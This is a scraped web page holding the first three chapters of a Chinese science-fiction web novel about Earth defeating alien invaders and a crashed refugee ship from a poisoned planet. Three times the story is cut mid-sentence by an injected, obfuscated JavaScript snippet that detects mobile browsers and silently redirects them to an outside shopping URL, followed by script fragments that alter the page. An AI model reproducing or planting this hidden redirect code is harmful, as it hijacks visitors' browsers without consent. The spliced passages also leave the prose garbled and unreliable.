《妙脆角,快到地球上来》 1. 第 1 章 (修) 地球地下城,和地面之间隔着地下交通轨道和排污系统。 如果在轨道上看到绿油油的小草,大可不必费劲地去拔,那有可能是棵树的树梢。 2666年中秋节,虽然没有月亮,但是月饼不能缺席,丢什么也不能丢老祖宗留下的传统,吃货们也是不允许的。 一声呼天抢地的哭声,撕裂地下城的热闹,把所有的人心揉搓成一团。 “出什么事了,听方向是测绘所家属院呢。”孙喇叭跑出来、扒拉开人群打听着。 “别提了,测绘院庆国家的小女儿,今天没回来,听说是被哥布林星的畜生抓住了。”北冰洋超市老板消息又快又准,最为灵通。 “在深空星际运输公司上班的那个闺女儿,多好的孩子啊,能干、孝顺、还懂事的!这可让庆国家怎么活啊!” “谁说不是呢!全球都停工了,就深空星际还上班,现在的机器人啥不能干啊,要不然小姑娘能出事吗?”孙喇叭扯着嗓子开始发表言论了。 “这话让你说的,别的能停,星际运输能停吗?光靠军方,又是打仗又是民生的,能忙过来吗?机器人再能干,还不得是人操控,咋能离开人。”一旁电业所的退休老李听不下去孙喇叭制造舆论了,白了她一眼。“ 孙喇叭还真的不吭声了,避开老李的视线,扯了一下北冰洋:“报警了吗?庆国家闺女能救出来吗?” “报了,晚了!庆国家姑娘你还不知道,多刚啊!一被抓住就咬掉了那畜生的鼻子,本来长得就像颗蛋,鼻子一沒,更光秃秃的分不清正反面了……”北冰洋消息太灵了,知道的太多了,总是抓不住重点。 “扯哪去了,说庆国家姑娘!”众人都竖着耳朵听重点呢,气得齐声吼北冰洋。 北冰洋垂下头,不是她不愿意说,是她也不愿意面对:“姑娘没了,当场就没了,这不刚被CEDF(地球防御部队)送回来,虽然说姑娘的仇报了,可是,孩子再也见不到了。” 街上站满了人,却静谧的唏嘘声都听不见,沉痛太重,压得人喘不上气来,地下城第十四个团圆夜,注定团圆不了了。 从前被端妈拎棒子满城追的端戊,现在已经上大学了。她和其他的学生略有不同,是系里的独苗,且是异警系连续四年来的独一根。 星域维安研学院的王校长和另外五位教授,共同教端戊这一个学生,亏得她身体素质好的没得说,从未请过病假、事假,要不然全系都得跟着她放假。 端戊时常鼓捣出来些机械猫狗来玩,而今年,终于多了一只喘气的猫子陪她上课了。 猫子叫酱油筋,捡到时还是一个不足月的“胚胎”,没有人相信它能活,可是端戊不忍心看着它等死。 现在酱油筋已经长得毛茸茸的极其黏人了,孤独的端戊上课时终于不那么孤独了。 端戊!”王校长忿忿地从自己的水杯里捡出一根白绒毛。 “您老别气啊!我已经给它一天三梳毛了,我自己的头发都是随便抓一抓、从没这么当回事儿过的。可是,这也怪不得它啊!它从来就没晒过太阳……” 端戊委屈巴巴的抱紧了酱油筋,生怕王校长把胡子吹上天,自己就又回到与他四目相对的日子了。 咪看了一眼端戊乱蓬蓬的碎发,从她怀里挣脱出去,伸看一个娇慵的懒腰,扭着腰肢跳跃到王校长面前。 咪歪着头在他的手背上魅惑的蹭着,又把小脑袋塞进了王校长的掌心,同时侧目看了一眼端戊。 还不得靠我自己固宠?指望你,堪忧! 果不其然,王校长核桃脸上的皱纹挤到了一起,浑浊的眼底都清澈了许多。 “这小玩意儿比仙人掌还好活,有了它以后,再不用和你大眼瞪小眼了,看你都看得有些腻歪了。” 嘿!还嫌弃我?说得好像谁不是似的。心里想想也就算了,端戊还是没那胆儿说出来的。 “您老说的对!酱油筋比我招人稀罕多了,可不能没有它。”端戊把头点成了磕头虫。 只要能留下酱油筋,您说什么都对。 “就你一个人上课,也确实是孤独了点。”王校长眉眼弯弯的撸着咪,全然不顾飞扬的蒲公英。 不多会儿,酱油筋便露出肚皮呼噜出声了。 “什么时候能搬回地面去啊?”端戊托着腮,从悬浮屏看着外面的世界。 中秋的悲痛,无奈的孤独,都是人面鹰身的秃鹫人和形如卤蛋的哥布林人造下的孽,臭不要脸的打着互助互利的幌子,却干着想要把地球全球端的勾当。 地球会是惯孩子的人吗?俩货每天被揍的屁滚尿流的,却狗皮膏药一样黏得死死的。 有这毅力干点什么事干不成,非得干些偷鸡摸狗的行当,毛都薅不到一根,却赌徒一样不甘心落败而归。 “今年一定会结束了他们!要不是咱们武器硬核、军队精锐,还不得和朝暮星一样被当做科研基地、搞得生灵涂炭了。”王校长摸着咪的耳朵沉重的感慨。 人道主义的帮助,已经解决不了朝暮星现下的情况了。 端戊看到王校长在悬浮屏上切换画面,从前澄清的朝暮星,现在只能看到一团黄雾了。 朝暮星上,漫天弥漫的黄色不是雾霾,也不是沙尘暴,而是先看着你烂、再要你命的颗粒状恶魔——纳米镉分子。 哥布林星和朝暮星毗邻,从一开始狗狗祟祟的侵扰,到后来,借口都懒得寻一个了,就和秃鹫人手拉着手的登堂入室了。 从什么时候开始,不要脸的人开始享受宇宙了? 朝暮星的地面上满是黏腻的暗红和脓黄,昨天还是尸横遍野的街道,今天已经白骨露野。 “安安,别怕,跟紧爸爸妈妈!”康屿安的父母相互搀扶着,走在前面替她探路。 “嗯,知道了。”康屿安并未惊恐,五年已经过去了,还有什么是不能习惯的。 她也不可能厌恶,那里躺着的可能是她的邻居,同学,甚至朋友。用不了多久,她的父母,这对娱乐圈的顶级颜值天花板,也会成为这其中的两具。 就在昨天他俩还在争执着,康屿安头上这对空前绝后的精灵耳,到底遗传了他俩谁的基因。 康屿安的父母是娱乐圈的奇葩说,最相互看不上的两个人,到后来竟然一天看不到对方,两只耳朵便会耷拉下来,怎么都立不起来。 俩人同时病了,还是医学史上从未有过的疑难杂症。 最后还是俩人共同的一个医生朋友,解决了棘手顽疾:你俩结婚吧。 不是冤家不聚头,冤家聚头日日吵。 吵归吵,却谁也不能没有谁。即便将要化成白骨,他俩也很有仪式感地选择了舞台,甚至还定下了谢幕poss。 “我不想走!”康屿安大声的喊出来,新的防护面罩太厚,她怕他俩听不见。 “你爸妈拿出咱家全部家底,费了多大劲才抢到这么一个飞船位置,还有你这一身专业防镉隔离装备的!你不去?大把的人等着你让出这个位置呢,我俩死了,你自己留在这怎么活?” 闻言安逸也不走了,回头大声呵斥康屿安,若不是耳朵残缺了,这会儿肯定是炸毛了。 从昨天起,一金难求的普通防护装备,已经对空气中的镉浓度起不到任何作用了。 她看着眼圈微红的父母,头上的妙脆角耳朵已经被腐蚀的看不到原来的形状,只能看到两只溃烂的耳朵根。 康屿安鼻子酸的呛人,眼泪涌上了眼眶。可是她不能哭,不敢哭,眼周的肌肉记忆及时的阻止了泪水流下来。 就这么一愣神工夫,康屿安的防护靴便被一根指骨划破了。 “唔!”她吃痛的蹲下去,看着白色的防护靴上开出一朵花苞,越开越大,最后盛开成一朵红梅。 康晏一个箭步来到康屿安身边,迅速的把她抱起来。 安逸紧随其后,用安全罩把康屿安的脚包裹在里面,纳米净化器清除了里面的镉分子,才脱掉康屿安的靴子,看到椭圆珍珠一样的小脚趾正汩汩流血。 安逸动作一滞,抬头与康晏迅速对视,康屿安还未反应过来,安逸已经掏出一把自锋利剪刀。 “喀嚓!”椭圆的珍珠应声而落。 “啊!妈妈!”猝不及防的剧痛,让康屿安紧紧的环住了爸爸的脖子,大声的喊妈妈。 两只几近透明的精灵耳剧烈的颤抖着,双唇瞬间失去了血色,却还在玩味的吐槽。 “妈妈,你就不能让我和我的小脚趾告个别吗?” “等你告别?现在你这只小脚丫就得秃了!这不是挺好的吗?还剩下五根小脚趾,像个地球人似的。” 康屿安抬起头,看着躺在地面上可怜兮兮的脚趾,挣扎着起来想要捡回来,却被安逸一巴掌拍回去。 “不要命了?” 说话间,椭圆的珍珠已经露出几个小洞,隐约可见洞里的黄色粘液。 安逸麻利的替康屿安包扎好,喷上隔离膜,用防镉胶把靴子黏好,快速的替她穿好,收起安全罩。 “妈妈,原来你是被演员耽误的外科医生,真的好棒啊!” 康屿安努力压制身体的颤抖,实在太痛了!可是她不想爸妈心痛。 康晏更用力的抱紧女儿梗咽了:“对不起,安安,爸妈对不起你……” 康屿安忽闪着紫色的眼睛,不让眼泪落下来,腾出一只手把安逸也搂到身边,一家三口紧紧的依偎在一起。 “爸爸妈妈,是我对不起你们。” “呜呜呜……”警笛骤然响起,康屿安要走了。 地球上高矮不一的银灰色建筑,无一例外的使用了防震防火,甚至智能感知的建筑材料。 只是大气层有些过于乌烟瘴气,站在地面上仰视太阳呈蓝橙色,那是战场上的蓝光母舰和橙光坦克,照映出的颜色。 橙光坦克的透视雷达,锁定了隐身袖珍飞船里的哥布林人,精准发射。 “砰!”袖珍飞船犹如下了一颗蛋,从里面掉出一个哥布林人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848821|211773||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 蓝光母舰的指挥官看到这一幕,也不甘落后的发出指令。很快锁定目标,瞄准了正在一个空中盘旋、伺机投弹的秃鹫人。 蓝光闪过,秃鹫星右侧翅膀立刻破了一个洞,不得不出来为地球上CEDF(地球防御部队)的官兵们助个兴,开始了杂技炫技、飞速旋转。 这波表演还挺费脑子的,刚炫了几圈就开始天旋地转没了方向,更别提找平衡了,正晕头转向找不到的北的时候,似乎瞄见一个什么玩意儿朝他飞来。 “地球研发出新武器了?怎么也没听说呢?这是拿我当测试了?救命啊!” 惊慌失措、躲无可躲之际,咚!那个东西竟然准确无误的掉进秃鹫人翅膀上的破洞里。 竟然天赐卤蛋,哦不,是哥布林人,瞬间就找到平衡了,秃鹫人哥布林人同时长舒一口气。 哦吼,天不灭我! “嗨!Bro,你来得还真是时候!” “哈哈秃鹫君,让我们一起杀回去吧!” 红光狙击手看到这一幕在心里默骂:两个SB,那就让你们好好庆祝一下吧! 一束红光,险些晃瞎他俩的钛合金狗眼,还未来得及作出反应,贺礼已收到。 同时命中两处眉心,串成了秃鹫卤蛋糖葫芦! “yes!”狙击手对自己送出的贺礼也很是满意。 太阳按时上班、下班,月亮每天也是准时的接班,只是地球人缺席了它们的交替。 地下城十四岁以下的孩童,从未见过真实的蓝天、白云、更不知道在太阳、月亮下是什么感觉。 “嘟!” “噗!” “突!” “咚!” 四朵黄色仿真蘑菇的探头从地下探出来。 “啪!”小蘑菇们同时睁开了眼睛,环视着外面的动静。 “我爸说,地下资源只够用一年的了。唉!”一个胖嘟嘟的小男孩如小大人一般重重叹息。 “你但凡少吃点,我们都能再多待一年。”头上顶着叛逆毛的小男孩,稚声稚气的奚落。 “你还想一直待在地下城里啊?这会儿怎么什么也看不到啊?是又打到半空去了吗?”皮肤白皙、头发微黄的男孩眉心紧蹙。 “我姐说,今年一定能收拾了他们,让他们滚出地球!现在每天已经打不上三个小时了,也许这会儿歇战了,我们也回去吧。” 一个长得厅里厅气、眉眼细长的圆脸小女孩,撤回了她的蘑菇探头。 “你姐?你姐也上了战场?”叛逆毛男孩颇有些不服气:哼!你又知道了! “我姐要今年才毕业,是她们校长上课时候说的。”小女孩泰然自若,满脸和小孩子没什么计较的表情。 “哈哈哈!是她的校长吧?哪里来的她们校长,我听我爸说,全校就你姐一个学生了,已经连续三年未招到生了。”叛逆毛咧开嘴、露出两侧豁牙的大笑。 “很好笑吗?学校为什么只剩下我姐一个人,你心里没点数吗?” 闻言,叛逆毛鹌鹑一样的缩了缩脖子,收起了豁牙儿。 平时可以天不怕地不怕的,但是事关清异局开不得一点玩笑。 百年的清异局,扛起了整个地球的生机,数百年来,有多少妖魔鬼怪天天打着地球的主意,就好像申公豹盯着灵珠不放。 “端砚,我牙少漏风,咬到舌头说错话了……”叛逆毛双手拎着耳朵认错。 震耳欲聋的一声巨响打断了叛逆毛,四个孩子瞬间感觉到了耳鸣,只能看到彼此张大开合着的嘴巴,却听不到喊了什么、说了什么。 头顶和墙壁上簌簌落下灰砾,很快就迷了眼睛,通道的整面壁灯诡异的闪烁着。 四小只立刻摒弃前嫌的手拉手蹲在了角落里,眼泪噼里啪啦的掉下来。 不是所有的人,难过时、害怕时都可以哭。 康屿安仰头望向天空,拼了命也不能让眼泪流出来,那不是坚强,而是保命。 脸上的防护膜不能稀释了,否则真的会溃烂没命的。 头顶的天空,像是一块铅灰色的破布,逼仄的直压下来,流淌着丝丝缕缕的锈红色,无数细碎的粉尘落在了护目镜上。 太阳是蓝橙色的,就连那颗她最喜欢眺望的水蓝色邻居,也一年比一年黯淡。 她望向远处玻璃罩外的人群,努力寻找父母的踪影,脚下意识的向前移动,直到被玻璃罩拦住。 康屿安最后看了一眼爸妈的方向,一瘸一拐的登上了飞船。 强烈的推背感后,飞船快速升空,咬着牙挺过短暂的不适,船舱内归于平静。 康屿安轻抚着照片里妈妈的精灵耳,爸爸棱角分明的脸颊,只感觉一切就像是梦一样,是一个让心脏不停抽搐的梦。 “咦,那是什么发出来的光?”有一直盯着面前悬浮屏看外面的人惊呼出声。 康屿安收起照片,打开面前的悬浮屏,还未在一片漆黑中发现端倪,飞船已经呼天抢地声中极速坠落了。 2. 第 2 章 (修) 流星般穿行在星际的飞船,在宇宙中失去了方向,不受控的翻了几个跟头后,直冲向地球。 刚好被课堂上专注于外接屏的端戊看到,她知道,那不是流星。 “校长,有其他星球的飞船正在接近地球。”端戊略有些激动的站起来。 端戊堪称行走的外星人检测仪,任何外星人在她的可探距离内,都无形可遁。 这么说吧,只要是外星人出现在她的探距内,无论是药物换型还是物理换型,都逃不开她的这双眼睛。 她和清异局那个价格不菲、巨大不方便移动的星际勘测仪比起来,就差不会雷达报警了。 “还轮不到你操心,你是觉得清异局是吃素的呢,还是觉得CEDF(地球防御部队)是软柿子?”王校长从悬浮屏上收回意识连接,累得打了个哈欠。 近两年来,他日渐有些服老了,稍微劳神一点便会犯困。当然,服老也仅限于心里想想,嘴上可是丁点不服老的,尤其是在老郑面前。 “可是他超速了!”端戊仍然不死心,车超速了还有个意外概率呢,飞船超速全舱没一个是陌生人,全都烤熟了。 “超速有星际警呢!关你什么事?你目前的首要任务就是学习……”王校长惊喜的发现,训斥了端戊几句顿时没那么瞌睡了。 正打算继续精神精神呢,正在睡觉的酱油筋不满地瞥了他一眼,蜷缩成一团继续睡了,于是,王校长也瞪了端戊一眼后,放过了她。 大四这一年,端戊已经从系独苗熬成了校独苗,王校长一不做二不休,把校长办公室改成了教室。 就这么一根苗,不放在眼皮子底下不放心。 办公室里,正对着门的是一张墨蓝晶体办公桌,校长和端戊相对而坐。端戊面对的那面墙,悬浮着一张黑色外接屏。 校长面对的那面墙上,是一整面的红色的旗帜。墙下是一排别人养不活被王校长捡回来的绿植,被小老头伺弄得绿意盎然。 有门,无窗。 异警系是清异局的‘订单班’,为这个伙伴单位定向培养特供人才。 同时成立于2266年,那几年秃鹫人格外的不要脸,肆意侵略相邻星球,还不时鸟悄儿地派送些异变外星人到地球上来祸害。 其他被侵略的星球,也时常有逃亡者跑到地球上来避难,一时之间,地球上四处藏匿着外星人。 有的杀人越货,有的窃取信息,有的贩卖假药,还有一些无故被杀。 总之,地球乱了套了。走在大街上,迎面走来的你根本不知道是人类,还是伪装的人类。 于是,除了军、警系统,针对外星人案件,地球上又多了一个清异局。 不知是异能难求,还是天命有归,异警系每年只能招到一名新生,一年一个的攒、费劲巴拉的为清异局输送警员。 郑局看着楼上楼下跑的机器人辅警,急得那叫一个团团转啊!每天打视频电话给王校长。 “老王,你自己瞧瞧,我这儿还有人味儿吗?再这样下去,是不是我这个位置,也快要交给机器人干了!” 王校长在这边‘喂喂喂’的干着急,别人都用瞳视了,王校长还舍不得换,用他的外置老年机。 “您老就不能大方一次,也给自己整一副瞳视,您看多方便啊,意识一连视频就接上,悬浮屏大小随你高兴,敲两下耳廓就能开耳机系统……”每次端戊看着王校长喂喂喂的就跟着着急。 俩信号源硬往一起连,能不费劲吗? “年纪不大比我还唠叨,这事你都啰嗦多少遍了?我用着习惯就是不想换!”王校长不服老也就算了,他用的东西也不能被人家说老。 王校长比郑局更急,嘴上常年挂着晶莹的水泡,一茬接一茬的从来未断过,以至于‘嘴上长泡的那位’都成了王校长标志性特征了。 端戊发现了超速飞船的同时,郑局也及时的锁定了。 此时的飞船可顾不上有多少双眼睛盯上它,正忙着尖锐的报警鸣叫呢。本就超速的速度,更是急剧加速,很快端戊就看不见了。 康屿安周围的人都开始呕吐了,她强压着胃部的不适,掩住口鼻强忍住恶心。 灰白狭小的内舱,温度徒然升起,已经不仅仅是烫屁股了,仿佛整个人都关进了烤箱,看谁先熟算谁输。 耳边的惶恐惊呼声渐渐没了动静,倒不是灭团了,只是耳鸣后的暂时失聪,喊再大声也听不见了。 康屿安净透的皮肤很快就变成了绯红。她淡然凝神,让自己的意识与电脑连接上开始录制遗言。 她只能留给父母,就像父母也只能留给了她一样,可是,他们终将是都收不到了。 而那些失去目标地的遗言,是不是最后都变成了宇宙漂流瓶?漂到谁那算谁的? 还在措辞遗言呢,飞船竟然紧急制动成功,驾驶员暗叹不辱使命,飞船也是个能抗的。 全舱沸腾、鼓掌、欢呼,庆祝劫后余生,只有康屿安面上淡淡变换姿势,让座椅能快些冷却。 康屿安的手猝不及防的被一只湿滑的手拉住,身体抗议的浮起一层鸡皮疙瘩。下意识地想要甩开,却被握得更紧了。 “呜呜呜……我以为,我要死了,反正也要死,干嘛不死在自己的星球上,还要被炸的面目全非……” 一头橙红色卷发,靠在康屿安的肩膀上,贴在她的耳边大哭,释放着恐惧。 这样亲密的距离,对于一个性格冷淡、抗拒与陌生人肢体接触的人来说,是身体和精神上的双重折磨。 康屿安不解的眨眼:“留在星球也会溃烂的面目全非。” “康屿安!”洪橙橙徒然拔高声线。 康屿安耳朵被震的嗡嗡响,这时,更猛烈的冲击波再次袭来,冲破了飞船的紧急制动。肩膀上那颗橙色的头已经不知道被甩到哪里去了,世界再次从耳鸣到安静。 遗嘱到底是用上了,也不知最后会漂泊到哪里? 研学院门口紧闭的高维意识门,与CEDF(地球防御部队)的信息对接后缓缓打开,一辆银绿色的军车缓缓驶入。 所以士兵扭头看这个有故事的门。 秃鹫人和哥布林人入侵地球时,少将程韩亲自把抱着大门不放手的王校长,扛到安全地带。 “领导,我来背王老吧!”负责学校转移的士兵深感自己失职了。 稚嫩局促的脸,让程韩看着心疼,他们原本也应该在学校里的。 “我背着就好,可不是谁都有机会背着王老的!门再贵重,还能有王老重要啊?宝贝都是越老越贵重的知道不?” 程韩步履从容、气息不乱的快步走向护盾车。 闻言,原本还用力挣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848822|211773||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 脱着要回去的王校长耳朵动了动:这是在点我?说我是老baby吗?老邱带出来的兵,和他一个德行! 王校长配合的上了车,到了晚上,不服老的王校长趁着混乱领着校机器人安保队,开着能量护盾车返回了地面。 程韩发现时,机器人已经扛着门,立在了临时校区的大门口了。 “你们不懂,这不是普通的门,这是学校的魂。这两颗星,还是老郑亲自给我送过来的呢。”王校长抚摸着高维门上的金星,微黄的眼底闪着光。 这一次,CEDF来的依然是老熟人——痞帅的程韩。 “王老!给您带好消息来了,抗异结束,地面上正在战后清理,用不了多久所有人都能回到地面上了。” 报喜的程韩,脸上无一丝喜意。 右脸上两指宽、一指长的光疤透着淡淡的粉。这条疤原本是可以去掉的,他不肯,坚持要留着。 在别人眼中的勋章,事实上是他的警钟。 “太好了,十四年了,终于可以带着孩子们回家了!”王校长一下下拍着端戊的肩膀,热泪清洗着眼底的浑浊。 端戊同样激动的举着轻微颤抖的双手:她也想拍,可是看看冷面的程韩,年迈的王校长,只能兀自握紧拳头。 “怎么还不走?” 王校长看着程韩如松般挡在自己面前,有点急着赶他走。说完好消息最好立刻离开,多一个字都不想听。 多出的一个符号,都不是什么好事。 果不其然,程少将脸上的疤,从淡粉慢慢涨成了暗红。 “王老,疑似有秃鹫和哥布林之外星球的飞船接近地球,已经被控制了,我们是来接端戊过去处理的。” 王校长面上的笑容凝结成肃穆:“清异局折损严重,正是缺人手的时候……” 程韩自顾自的盯着靴面上的尘土看了很久,深吸一口气后才用力的抬起头。 “端戊同学已经成为清异局现任局长,清异局只剩下她一个人了。” 王校长下意识的向后连退几步,拍了拍耳朵:年纪大了零件就是娇贵了,刚刚爆炸又是把哪个零件震坏了?昨晚就应该听老伴的让小A给我挖挖耳朵的。 “郑局让你来接端戊的吧?人手不够应该去帮忙!”说着王校长看向端戊:“多看、多听、多问,注意安全,少自作主张知道吗?” “王老,清异局现在只剩下端戊一人了!” 程少将一字一顿的噩耗摆在桌上,小老头有点想掀桌子。 “老郑?还有我送去的那些个娃?一个都没剩?”王校长微厚的嘴唇快速的哆嗦着,双手撑着课桌边沿,想努力的稳住身形。 “敌军使用了黑洞想要和地球同归于尽,郑局只能启动了东方逆盾应对,因为第一次使用没有撤离方案,也来不及启动其他方案……”冷面的程韩哽住了。 “老家伙!好样的!是他能干出来的事!”王校长的手臂止了颤抖,挺直脊背,目光坚定的向着头顶敬了一个军礼。 一整个清异局,换得地球无恙,地下城所有人安好。 端戊站在了阔别十四年的地面上,虽然离开时已经是青山绿水难求之地,依然接受不了回来时的寸草不生。 尤其是自己面前被拦截的这个光滑锃亮的蛋,到底是个什么玩意儿?长得像哥布林人似的。 3. 第 3 章 江北星际拦截基地,灰突突的地面一望无际,看不到任何建筑物,十几米高的银白巨蛋光滑锃亮,在一片灰中格外的醒目。 在一众期待的小眼神齐刷刷的注视下,端戊竟有了紧张感。她甚至还未适应从学生到局长的身份转换,就要开始担起一局之长的责任,并且干着外勤的活了。 属实是没办法了,她只能冷着一张脸,让自己看起来镇定一些,出场就露怯,就有点不好收场了。 对面这颗瓦亮的蛋,她在课上还真没见过。难怪王校长总是说,他讲的那些,将来她未必会遇到,而将来她遇到的,也许都是王校长没讲过的。 这不就来了吗? CEDF给到的已知信息:此蛋是拦截下的某星球飞船,不确定是从哪里来,也未收到着陆申请,不知道到地球来到底想要干点啥。 可是她并未检测到任何星生物,这就把她难住了,不敢轻易给出断定。 端戊不确定里面到底都有些啥,她甚至不知道自己是否应该不知道,平时上课被提问也就是一对一的对视,突然有这么多双眼睛盯着她,她反而更犹豫不决了,正准备连接意识的时候,一位CEDF士兵打破寂静了。 “端局,眼前这个飞船先是被秃鹫人的黑洞击中,导致外层翼盾脱落,坠落没多远便稳住了。后来又被我们东方卫盾波及了,这次,除了内舱的所有防护系统以及中层组件全部脱落了。由于滑落速度过快,机体又被大气层盘包浆了,就成了现在这个样子。” 士兵强忍着笑,尽量严肃。毕竟年纪小,还未见过这么赶巧的倒霉蛋呢。 而端戊却是怔愣了五秒才反应过来——端局是我,我是端局。于是,她下意识模仿了王校长平时说话的神态。 “里面是不是没剩下什么喘气的了?”奈何,王校长也是带着些混不吝的,似乎就从未一本正经过。 “按照他们掉下的高度和速度,本是剩不下的。偏偏运气好,是奔着地球来的,这不就被我们防御系统接住了嘛。” 既然端局不端着,小士兵明显也放松了。 端戊抿紧双唇:你管这叫运气好? “既然都还活着,那就都救出来吧,我全部带回局里,办理地转,从哪来的送回哪去吧。” 端戊长出一口气,还以为开局就遇到难题了呢,也是没想到,初次使用检测异能就发现了bug,原来检测只限于有意识的活体。 不多时,一队穿着火焰蓝防护服的CECD,带着远程、近距激光切割设备,围绕着这颗蛋开始大切特切。 端戊这才腾出空,看了一眼阔别十四年的地球,从鼻子到心脏通通泛酸。 放眼眺望地球,像是被两个打上门来的蛮横泼妇,薅掉了头发、抓伤了脸。 凭着幼年的记忆,端戊望向家的方向,虽然什么都看不到,可她记得搬离前,社区刚刚统一改造加固了旧屋,希望家还在。 “端局,可以进了,看耳朵是朝暮星的!”从里面检查一圈出来的士兵暗自松了一口气,朝暮星算是友好星。 “砸彩蛋都没这么准,原本是不路过的,中途受到干扰失去了方向,迷路到了地球附近,结果两下重击哪个都没错过。” 端戊把意识连接上幸存的处理器上,展示在空中给大家看他们的路线图。 两队人很快发现,悬浮屏上的内容直接翻译成汉语了。 对端戊来说没什么难的,她掌握多星球语言,只要意识连接语言系统,就能够各种星语译汉。 在CEDF和CECD的官兵围着悬浮屏研究飞船路径时,端戊瞥见一对淡紫色的妙脆角耳朵似乎轻微的动弹了一下。 端戊走了过去,想确定自己并没有眼花,她刚俯身靠近妙脆角,似乎感觉到浓密的蓝紫睫毛忽闪了一下。 于是她又靠近些,两把展开的小扇子此时又静悄悄的摆在那了,空留两簇阴影,在白透的皮肤上。 “端局,麻烦过来一下,看看这个是什么?” 在一旁观察了许久的程韩,这会儿走上前来,拿出在船体夹缝找出一份封锁的星际公函。 也怪不得程韩质疑端戊的能力,他见过端戊犯错被王校长训斥的样子,也见过王校长哄着、骗着甚至有些宠溺她的样子,看着她那张脸,总感觉像是在陪她玩过家家。 然而,他眼中的“端不靠谱”回手就打了他冷峻的脸。 端戊把意识连上公函锁后,心里是有些打鼓的,若是遇到繁琐密码,怕是要花上些功夫了,她甚至都做好了拉下脸面摇王校长的打算了。 万万没想到,朝暮星的密码竟然如此单纯,阿拉伯数字也就算了,顺序都懒得打乱重排一下的吗? 公函打开后端戊快速地扫了一遍,就把翻译好的内容投在了悬浮屏上。 “这竟然是朝暮星飞往斯洛鄂星避难区的?”一个瘦高的CEDF士兵话语间略显同情,神色也变得忧伤了。 若不是被清异局察觉到对方的意图,开启了东方逆盾,朝暮星的今天险些成为地球的明天。 再看向这一飞船的小耳朵,不由后怕的打了个冷战。 康屿安的精灵心像是被熊掌抓在掌心揉捏:想爸爸想妈妈。 “难怪都长着一对小耳朵呢,有些像我养的咪,还怪可爱的。”CECD的小伙儿是个爱咪的,从前在工作中也是没少救下爬高下不来的咪。 一颗精灵心又被无情的踩踏了:你这样礼貌吗? “可爱的只是你家的咪吧?朝暮星人倔强着,也不喜欢和外星球往来,听说有律法制约他们不许移星呢。” 另一个壮实的CEDF看着浮屏上的内容,眼珠叽里咕噜乱转,看着就是一个有些心眼的。 康屿安气得差点睁开眼睛:朝暮星在其他星球认知里,原来是这样子的?你们去过朝暮星吗?道听途说的可信吗?我们,只有坚守底线有点倔强而已。 “那多没意思啊!那他们有朋友吗?”阳光大男孩的CECD深感不解,难道只有人类是喜欢群居的? 康屿安:我谢谢你嗷!我们只是内向,不是自闭! “怎么没有?人家和斯洛鄂星是好星友啊!没看这次星球出了这么大事,都没向地球求助,只寻求了斯洛鄂的帮助吗?” 瘦高的CEDF拍了拍阳光大男孩的肩膀解惑:咋做到又高大又天真的呢?还怪好玩的。 康屿安强忍着才没开口反驳:我们也访问过地球的好吧?只不过斯洛鄂近一些,谁串门不挑个离家近的? “咦!斯洛鄂多冷啊,不得把这些可爱的小耳朵都冻掉了啊!”壮实的CEDF又想起了他家里都眯。 康屿安鸟悄儿的握紧双手:你全家耳朵都冻掉! “你俩还操心别人家呢?环境安全中心刚送来的文件,咱自家的饮用水治理遇难题了。”进来一个CHDC士兵把文件交给端戊。 听起来事儿挺大,可是面上却波澜不惊,他们的传统向来如此:有麻烦就解决,惆怅解决不了问题。 这事儿找上端戊倒不是CHDC归她管,而是外援得从她的管辖里找,一部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848823|211773||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 分特殊原因合法居住在地球上的外星人归清异局管。 地球上数千年来,就没缺水喝过,在这方面的技术还比较基础,谁都是有短板的嘛,这一次,就不小心暴露一丢丢短板。 毕竟此次不是普通的污染,远超过核污染几十倍,甚至还有不甚清楚的不明抗拒原因,环境安全中心表示试了所有的方法,还是不能够达到理想标准。 目前存储水只够维系一年的,所以说必须在一年内解决水质问题。 能留在地球的外星人,也都算得上各球出列拔萃的,只要找出一个从缺水的星球来的,应该不是问题,他们什么水质问题没遇见过? 端戊眉心蹙出一块小饼干:也不知道以后会影响洗澡不,上班第一天要处理的事情还挺多的。 这会儿她已经略微适应了新身份,打算先把这一舱的小耳朵交给清异局的机器人带回去,办理转乘。 星际航班可不同于普通的航班,班次需以月计,赶得不巧等上一个月是常有的事。 端戊回头看着机器人秩序的进来,走近昏迷中的小精灵,试图唤醒。 “不对,少了一个!”端戊很快便察觉到,这其中少了一对浅紫色的耳朵。 朝暮星的精灵,耳朵大多数浅灰,灰白甚至还有黑色,据说耳朵的颜色和睫毛瞳孔相匹配,只有少数的紫色,蓝色或者棕色。 像刚刚那种浅紫色的,实属罕见,通常颜值都高的不得了。端戊也是在课后闲聊时听说的,朝暮耳朵颜色是和颜值挂钩的。 